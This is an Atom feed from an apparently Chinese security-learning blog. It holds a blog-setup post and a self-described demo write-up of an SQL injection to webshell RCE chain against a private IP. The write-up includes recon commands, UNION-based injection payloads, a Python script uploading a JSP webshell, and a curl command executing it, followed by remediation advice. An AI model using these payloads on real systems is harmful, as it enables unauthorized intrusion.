<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>止水来咯</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://0xsec-blog.pages.dev/</id>
  <link href="https://0xsec-blog.pages.dev/" rel="alternate"/>
  <link href="https://0xsec-blog.pages.dev/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 止水来咯</rights>
  <subtitle>护网 · SRC · CTF 学习笔记</subtitle>
  <title>止水来咯</title>
  <updated>2026-09-16T02:03:14.467Z</updated>
  <entry>
    <author>
      <name>止水来咯</name>
    </author>
    <category term="随笔" scheme="https://0xsec-blog.pages.dev/categories/%E9%9A%8F%E7%AC%94/"/>
    <category term="Hexo" scheme="https://0xsec-blog.pages.dev/tags/Hexo/"/>
    <category term="建站" scheme="https://0xsec-blog.pages.dev/tags/%E5%BB%BA%E7%AB%99/"/>
    <content>
      <![CDATA[<p>折腾了一个下午，终于把这个博客立起来了。用的 <strong>Hexo + Icarus</strong>，纯静态，挂 GitHub Pages 上，不要钱也不用服务器。</p><span id="more"></span><h2 id="为什么选这套"><a href="#为什么选这套" class="headerlink" title="为什么选这套"></a>为什么选这套</h2><ul><li><strong>Hexo</strong>：静态站点生成器，写完 Markdown 一条命令生成整站，快得离谱</li><li><strong>Icarus</strong>：三栏布局（左边个人信息 &#x2F; 中间正文 &#x2F; 右边目录），自带代码高亮、本地搜索、深色代码主题</li><li><strong>GitHub Pages</strong>：托管免费，<code>git push</code> 即发布</li></ul><h2 id="日常写文章"><a href="#日常写文章" class="headerlink" title="日常写文章"></a>日常写文章</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> E:/blog</span><br><span class="line">npx hexo new <span class="string">&quot;文章标题&quot;</span>     <span class="comment"># 在 source/_posts/ 下生成 md</span></span><br><span class="line">npx hexo server             <span class="comment"># 本地预览 http://localhost:4000</span></span><br><span class="line">npx hexo clean &amp;&amp; npx hexo generate   <span class="comment"># 生成静态文件到 public/</span></span><br><span class="line">npx hexo deploy             <span class="comment"># 推送到 GitHub Pages</span></span><br></pre></td></tr></table></figure><h2 id="几个坑"><a href="#几个坑" class="headerlink" title="几个坑"></a>几个坑</h2><ol><li><strong>CDN</strong>：Icarus 默认用 <code>cdn.jsdelivr.net</code>，国内会被墙，改成 <code>fastly.jsdelivr.net</code> 就好了（<code>_config.icarus.yml</code> 的 <code>providers</code>）</li><li><strong>本地搜索</strong>：<code>insight</code> 搜索依赖 <code>hexo-generator-searchdb</code> 生成 <code>content.json</code>，路径要写成 <code>content.json</code> 而不是默认的 <code>search.xml</code></li><li><strong>图片</strong>：<code>source/img/</code> 下的文件可以直接用 <code>/img/xxx.png</code> 引用</li></ol><h2 id="后面想做的"><a href="#后面想做的" class="headerlink" title="后面想做的"></a>后面想做的</h2><ul><li><input disabled="" type="checkbox"> 深色模式切换（Icarus 原生没有，得自己加）</li><li><input disabled="" type="checkbox"> 评论区（挂 giscus，用 GitHub Discussions）</li><li><input disabled="" type="checkbox"> 把之前的笔记慢慢搬过来</li></ul><p>第一篇就先这样，开工。</p>]]>
    </content>
    <id>https://0xsec-blog.pages.dev/2026/09/16/hello-hexo-icarus/</id>
    <link href="https://0xsec-blog.pages.dev/2026/09/16/hello-hexo-icarus/"/>
    <published>2026-09-16T02:30:00.000Z</published>
    <summary>
      <![CDATA[<p>折腾了一个下午，终于把这个博客立起来了。用的 <strong>Hexo + Icarus</strong>，纯静态，挂 GitHub Pages 上，不要钱也不用服务器。</p>]]>
    </summary>
    <title>开始记录：这个博客是怎么搭起来的</title>
    <updated>2026-09-16T02:03:14.467Z</updated>
  </entry>
  <entry>
    <author>
      <name>止水来咯</name>
    </author>
    <category term="SRC" scheme="https://0xsec-blog.pages.dev/categories/SRC/"/>
    <category term="SQL注入" scheme="https://0xsec-blog.pages.dev/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="RCE" scheme="https://0xsec-blog.pages.dev/tags/RCE/"/>
    <category term="Writeup" scheme="https://0xsec-blog.pages.dev/tags/Writeup/"/>
    <content>
      <![CDATA[<blockquote><p>这是一篇<strong>排版演示</strong>用的示例文章，用来展示代码高亮、目录、引用、表格的效果。看完可以直接删掉，换成你自己真正的笔记。</p></blockquote><p>外网暴露的一个后台管理系统，登录处存在报错型 SQL 注入，顺着数据库里的管理员凭证登进后台，再从文件上传点拿到 RCE。整条链路如下。</p><span id="more"></span><h2 id="0x01-信息收集"><a href="#0x01-信息收集" class="headerlink" title="0x01 信息收集"></a>0x01 信息收集</h2><p>先摸端口和服务版本：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nmap -sV -Pn -T4 --top-ports 1000 10.0.0.1</span><br><span class="line">nmap -sV -p 80,443,8000,8080,8443 -Pn 10.0.0.1</span><br></pre></td></tr></table></figure><p>返回结果里有意思的是 8080 上的 Tomcat，以及 <code>/admin</code> 下的登录页。目录爆破：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ffuf -u http://10.0.0.1/FUZZ -w /usr/share/wordlists/dirb/common.txt \</span><br><span class="line">     -mc 200,301,302,403 -t 50</span><br></pre></td></tr></table></figure><h2 id="0x02-登录处-SQL-注入"><a href="#0x02-登录处-SQL-注入" class="headerlink" title="0x02 登录处 SQL 注入"></a>0x02 登录处 SQL 注入</h2><p>抓登录包：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/admin/login.action</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>10.0.0.1</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line"><span class="language-freedesktop"><span class="attr">username</span><span class="operator">=</span>admin&amp;password<span class="operator">=</span>1</span></span><br></pre></td></tr></table></figure><p>单引号探一下，直接报错回显了 SQL 语法错误 —— 典型的手写拼接：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">username<span class="operator">=</span>admin<span class="string">&#x27; AND 1=1-- -</span></span><br></pre></td></tr></table></figure><p>判断字段数、找回显位：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">admin<span class="string">&#x27; ORDER BY 5-- -</span></span><br><span class="line"><span class="string">admin&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span><span class="comment">-- -</span></span><br></pre></td></tr></table></figure><p>数据库里翻到管理员表，密码是加盐 MD5：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td>username</td><td><code>sysadmin</code></td></tr><tr><td>password</td><td><code>e10adc3949ba59abbe56e057f20f883e</code></td></tr><tr><td>salt</td><td><code>a1b2c3</code></td></tr></tbody></table><h2 id="0x03-上传点拿-RCE"><a href="#0x03-上传点拿-RCE" class="headerlink" title="0x03 上传点拿 RCE"></a>0x03 上传点拿 RCE</h2><p>后台「系统设置 → 图标上传」没有校验后缀，只在前端做了 JS 判断：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">s = requests.Session()</span><br><span class="line">s.post(<span class="string">&quot;http://10.0.0.1/admin/login.action&quot;</span>,</span><br><span class="line">       data=&#123;<span class="string">&quot;username&quot;</span>: <span class="string">&quot;sysadmin&quot;</span>, <span class="string">&quot;password&quot;</span>: <span class="string">&quot;xxx&quot;</span>&#125;)</span><br><span class="line"></span><br><span class="line">files = &#123;<span class="string">&quot;file&quot;</span>: (<span class="string">&quot;shell.jsp&quot;</span>, <span class="string">&quot;&lt;%@ page import=\&quot;java.util.*,java.io.*\&quot; %&gt;...&quot;</span>,</span><br><span class="line">                  <span class="string">&quot;image/jpeg&quot;</span>)&#125;</span><br><span class="line">r = s.post(<span class="string">&quot;http://10.0.0.1/admin/upload.action&quot;</span>, files=files)</span><br><span class="line"><span class="built_in">print</span>(r.text)</span><br></pre></td></tr></table></figure><p>回显里的路径直接就是可访问的：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl <span class="string">&quot;http://10.0.0.1/upload/2026/09/shell.jsp?cmd=whoami&quot;</span></span><br><span class="line"><span class="comment"># nt authority\system</span></span><br></pre></td></tr></table></figure><h2 id="0x04-修复建议"><a href="#0x04-修复建议" class="headerlink" title="0x04 修复建议"></a>0x04 修复建议</h2><ol><li>所有 SQL 语句改预编译（<code>PreparedStatement</code>），不要手拼字符串</li><li>上传点做<strong>后缀白名单</strong>，并且把存储目录设为不可执行</li><li>后台加 IP 白名单或 VPN 访问，别直接裸奔在外网</li><li>前端校验只是体验，服务端必须再校验一次</li></ol><hr><p><em>本文仅用于授权测试与安全学习，请勿用于未授权场景。</em></p>]]>
    </content>
    <id>https://0xsec-blog.pages.dev/2026/09/15/demo-sqli-to-rce/</id>
    <link href="https://0xsec-blog.pages.dev/2026/09/15/demo-sqli-to-rce/"/>
    <published>2026-09-15T13:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>这是一篇<strong>排版演示</strong>用的示例文章，用来展示代码高亮、目录、引用、表格的效果。看完可以直接删掉，换成你自己真正的笔记。</p>
</blockquote>
<p>外网暴露的一个后台管理系统，登录处存在报错型 SQL 注入，顺着数据库里的管理员凭证登进后台，再从文件上传点拿到 RCE。整条链路如下。</p>]]>
    </summary>
    <title>【示例】从 SQL 注入到后台 RCE 的完整利用链</title>
    <updated>2026-09-16T01:00:00.000Z</updated>
  </entry>
</feed>
